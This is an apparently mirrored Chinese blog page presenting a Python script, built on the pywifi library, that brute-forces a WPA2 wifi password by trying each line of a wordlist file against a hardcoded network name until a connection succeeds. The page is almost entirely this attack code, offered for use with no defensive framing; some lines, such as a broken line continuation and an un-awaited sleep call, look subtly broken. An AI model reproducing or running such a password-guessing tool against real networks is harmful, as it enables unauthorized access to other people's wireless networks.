zoukankan      html  css  js  c++  java
  • python 破解wifi密码

    # coding:utf-8
    import time  # 时间
    import pywifi  # 破解wifi
    from pywifi import const  # 引用一些定义
    from asyncio.tasks import sleep
    
    class PoJie():
        def __init__(self, path):
            self.file = open(path, "r", errors="ignore")
            wifi = pywifi.PyWiFi()  # 抓取网卡接口
            self.iface = wifi.interfaces()[0]  # 抓取第一个无限网卡
            self.iface.disconnect()  # 测试链接断开所有链接
    
            time.sleep(1)  # 休眠1秒
    
            # 测试网卡是否属于断开状态,
            assert self.iface.status() in
                [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    
        def readPassWord(self):
                print("开始破解:")
                while True:
    
                    try:
                        myStr =self.file.readline()
                        if not myStr:
                            break
                        bool1 = self.test_connect(myStr)
                        if bool1:
                            print("密码正确:", myStr)
                            break
                        else:
                            print("密码错误:" + myStr)
                        sleep(3)
                    except:
                        continue
    
        def test_connect(self, findStr):  # 测试链接
    
            profile = pywifi.Profile()  # 创建wifi链接文件
            profile.ssid = "e2"  # wifi名称
            profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放,
            profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
            profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
            profile.key = findStr  # 密码
    
            self.iface.remove_all_network_profiles()  # 删除所有的wifi文件
            tmp_profile = self.iface.add_network_profile(profile)  # 设定新的链接文件
            self.iface.connect(tmp_profile)  # 链接
            time.sleep(5)
            if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上
                isOK=True
            else:
                isOK=False
            self.iface.disconnect()  # 断开
            time.sleep(1)
            # 检查断开状态
            assert self.iface.status() in
                [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    
            return isOK
    
    
        def __del__(self):
            self.file.close()
    
    path = r"C:UsersAdministratorDesktopcsdnwifi.txt"
    start = PoJie(path)
    start.readPassWord()
  • 相关阅读:
    Thomas Hobbes: Leviathan
    10 Easy Steps to a Complete Understanding of SQL
    day3心得
    py编码终极版
    day2 作业
    Python 中的比较:is 与 ==
    day2-心得
    day1--心得
    day1作业
    python--open用法
  • 原文地址:https://www.cnblogs.com/APeng2019/p/10719401.html
Copyright © 2011-2022 走看看